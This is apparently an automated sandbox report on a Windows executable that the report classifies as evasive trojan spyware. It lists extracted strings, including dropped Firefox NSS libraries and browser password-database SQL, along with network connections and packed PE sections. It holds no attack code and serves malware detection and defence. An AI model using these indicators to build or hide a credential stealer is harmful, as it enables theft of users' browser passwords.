Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_93.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: random.exe, random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: random.exe, 00000000.00000002.2569184059.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_96.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_96.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_96.4.dr, chromecache_93.4.dr	String found in binary or memory: https://apis.google.com
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_96.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_96.4.dr	String found in binary or memory: https://content.googleapis.com
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chromecache_96.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_93.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_93.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_96.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_96.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: chromecache_96.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: random.exe, 00000000.00000002.2562046640.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, EBAEBFII.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_96.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_96.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_93.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/HCBGCAKFHDAK
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp, random.exe, 00000000.00000002.2561302948.0000000000184000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: FCGIJDBAFCBAAKECGDGCBKFIDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: random.exe, 00000000.00000002.2566040712.000000000B901000.00000004.00000020.00020000.00000000.sdmp, AEBAKJDGHIIJJKFHCFCA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50020 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C92B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C92B700
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C92B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C92B8C0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C92B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C92B910
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C8CF280

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8C35A0	0_2_6C8C35A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8D6C80	0_2_6C8D6C80
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9234A0	0_2_6C9234A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C92C4A0	0_2_6C92C4A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8D64C0	0_2_6C8D64C0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8ED4D0	0_2_6C8ED4D0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C906CF0	0_2_6C906CF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CD4E0	0_2_6C8CD4E0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C905C10	0_2_6C905C10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C912C10	0_2_6C912C10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C93AC00	0_2_6C93AC00
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C93542B	0_2_6C93542B
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8D5440	0_2_6C8D5440
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C93545C	0_2_6C93545C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C900DD0	0_2_6C900DD0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9285F0	0_2_6C9285F0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8DFD00	0_2_6C8DFD00
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8F0512	0_2_6C8F0512
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8EED10	0_2_6C8EED10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C92E680	0_2_6C92E680
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8E5E90	0_2_6C8E5E90
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C924EA0	0_2_6C924EA0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9376E3	0_2_6C9376E3
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CBEF0	0_2_6C8CBEF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8DFEF0	0_2_6C8DFEF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C907E10	0_2_6C907E10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C915600	0_2_6C915600
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C929E30	0_2_6C929E30
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C903E50	0_2_6C903E50
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8E4640	0_2_6C8E4640
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8E9E50	0_2_6C8E9E50
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C912E4E	0_2_6C912E4E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C936E63	0_2_6C936E63
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CC670	0_2_6C8CC670
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9177A0	0_2_6C9177A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CDFE0	0_2_6C8CDFE0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8F6FF0	0_2_6C8F6FF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C907710	0_2_6C907710
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8D9F00	0_2_6C8D9F00
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8F60A0	0_2_6C8F60A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9350C7	0_2_6C9350C7
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8EC0E0	0_2_6C8EC0E0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9058E0	0_2_6C9058E0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8D7810	0_2_6C8D7810
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C90B820	0_2_6C90B820
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C914820	0_2_6C914820
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8E8850	0_2_6C8E8850
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8ED850	0_2_6C8ED850
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C90F070	0_2_6C90F070
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C905190	0_2_6C905190
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C922990	0_2_6C922990
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CC9A0	0_2_6C8CC9A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8FD9B0	0_2_6C8FD9B0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8EA940	0_2_6C8EA940
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C91B970	0_2_6C91B970
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C93B170	0_2_6C93B170
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8DD960	0_2_6C8DD960
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C93BA90	0_2_6C93BA90
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C932AB0	0_2_6C932AB0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8C22A0	0_2_6C8C22A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8F4AA0	0_2_6C8F4AA0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8DCAB0	0_2_6C8DCAB0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C908AC0	0_2_6C908AC0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C90E2F0	0_2_6C90E2F0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8E1AF0	0_2_6C8E1AF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C909A60	0_2_6C909A60
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8CF380	0_2_6C8CF380
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C9353C8	0_2_6C9353C8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C90D320	0_2_6C90D320
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8C5340	0_2_6C8C5340
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_6C8DC370	0_2_6C8DC370

Source: C:\Users\user\Desktop\random.exe	Code function: String function: 6C8FCBE8 appears 134 times
Source: C:\Users\user\Desktop\random.exe	Code function: String function: 6C9094D0 appears 90 times

Source: random.exe, 00000000.00000002.2569442906.000000006C952000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs random.exe
Source: random.exe, 00000000.00000002.2569742086.000000006CB45000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs random.exe

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random.exe

Static PE information: Section: emokxepa ZLIB complexity 0.994839251752685

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@32/50@6/7

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C927030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C927030

Source: C:\Users\user\Desktop\random.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\L8W6UL1S.htm

Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90
Source: C:\Users\user\Desktop\random.exe	Command line argument: MOZ_CRASH()	0_2_6C8C1E90

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: random.exe, 00000000.00000003.2312621543.0000000005825000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.2442595414.0000000005819000.00000004.00000020.00020000.00000000.sdmp, EBAFBGIDHCBFHIECFCBG.0.dr, GHJDBAKEHDHDGCAKKJJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
